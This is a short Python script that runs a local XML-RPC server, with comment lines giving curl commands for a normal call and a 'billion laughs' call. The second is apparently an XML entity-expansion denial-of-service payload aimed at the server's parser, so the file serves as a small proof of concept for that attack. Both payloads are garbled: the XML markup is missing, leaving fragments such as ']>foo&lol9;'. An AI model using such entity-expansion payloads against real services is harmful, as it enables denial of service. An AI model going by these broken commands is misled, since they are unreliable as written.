from xmlrpc.server import SimpleXMLRPCServer def foo(n: str): print("foo called with arg:", n, type(n)) return "ok" server = SimpleXMLRPCServer(("127.0.0.1", 8000)) server.register_function(foo, "foo") server.serve_forever() # normal: curl 127.0.0.1:8000 --data-raw 'foo42' # billion_laughs: curl 127.0.0.1:8000 --data-raw ']>foo&lol9;'